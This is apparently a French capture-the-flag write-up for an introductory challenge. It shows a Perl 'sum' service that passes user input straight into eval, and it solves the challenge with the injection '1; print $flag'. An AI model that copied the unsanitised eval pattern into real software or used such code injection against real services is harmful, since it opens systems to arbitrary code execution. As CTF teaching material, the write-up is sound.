jeanne-dhack-2026
PWN - intro - Sum Service
2026-01-30easy#pwn#perl#code-injection#eval
On nous donne un service Perl qui effectue une somme avec l'entier fourni en entrée.
Analyse du code
while (1) { print "Enter a number to sum with 42: "; my $string = <STDIN>; chomp $string; my $result = eval "42 + " . $string; print "Result: " . $result . "\n"; }
La vulnérabilité est évidente : l'input utilisateur est directement concaténé dans un eval sans aucune sanitisation. Le programme construit la chaîne "42 + <notre_input>" et l'exécute comme du code Perl.
De plus, le flag est lu en mémoire au démarrage :
open(my $fh, '<', "flag.txt"); my $flag = <$fh>; close($fh);
La variable $flag est donc accessible dans le scope de l'eval.
Exploitation
Il suffit d'injecter du code Perl après un ; pour sortir de l'expression arithmétique :
1; print $flag
Le programme évalue alors 42 + 1; print $flag, affichant le contenu du flag.